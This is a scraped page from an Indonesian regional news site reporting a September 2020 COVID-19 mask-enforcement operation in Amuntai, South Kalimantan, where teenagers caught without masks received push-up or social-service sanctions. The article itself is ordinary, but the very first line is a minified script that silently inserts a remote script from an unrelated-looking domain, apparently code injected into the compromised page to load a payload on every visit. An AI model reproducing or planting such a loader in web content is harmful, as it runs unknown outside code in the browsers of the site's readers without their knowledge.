(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Puluhan remaja kembali terjaring operasi Yustisi pendisiplinan dan penegakan hukum protokol kesehatan petugas gabungan Polres Hulu Sungai Utara (HSU), Kodim 1001/Amuntai dan Sat Pol-PP HSU. Kali ini, operasi menyasar cafe, tempat billiard dan warung di beberapa lokasi di wilayah Kota Amuntai, Jumat (18/9/2020) malam.
Seperti sebelumnya, operasi kali ini dipimpin oleh langsung Kapolres HSU AKBP Afri Darmawan, didampingi Dandim 1001/Amuntai Lekol Inf.Ali Ahmad Satriyadi, Kasat Pol PP Kabupaten HSU Jumadi, dengan menurunkan 13 petugas dari Polres HSU, 10 orang dari Anggota Kodim dan Sat Pol PP sebanyak 15 orang.
Hasil operasi yustisi pelanggar Perbup HSU No.37.Th.2020, didominasi remaja yang tidak memakai masker saat beraktifias di Cafe House RR, Cafe Twin Coffe, Bilyard Mata Dewa, Restoran BBQ, kumpulan remaja di depan Mini Market Berkah.
Kapolres HSU AKBP Afri Darmawan melalui Kasubag Humas Iptu Alam SW menuturkan, operasi yustisi ini mengacu pada Instruksi Presiden Nomor 6 Tahun 2020 tentang Peningkatan Pendisiplinan dan Penegakan Hukum Protokol Kesehatan.
Hal ini juga, kata Iptu Alam terkait Peraturan Bupati HSU Nomor 37 Tahun 2020 tentang Penerapan Disiplin dan Penegakan Hukum Protokol Kesehatan Sebagai Upaya Pencegahan dan Pengendalian Covid-19 di Kabupaten HSU
“Operasi yustisi pendisiplin dan penegakan hukum protokol kesehatan ini dilakukan agar warga betul-betul disiplin mematuhi protokol kesehatan dan apabila ditemukan pelanggaran tidak memakai masker maka ada sanksi,” tegasnya.
Selain diberikan teguran lisan juga diberikan teguran secara tertulis, yang kali ini para remaja milih sanksi pembinaan fisik secara terukur yakni push up 20 orang dan sanksi sosial 11 orang oleh Satpol PP.
“Kita juga kembali diingatkan untuk tetap mematuhi protokol kesehatan dengan wajib memakai masker apabila keluar rumah, jaga jarak serta hindari kerumunan demi memutus penyebaran Covid- 19,” pungkasnya. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.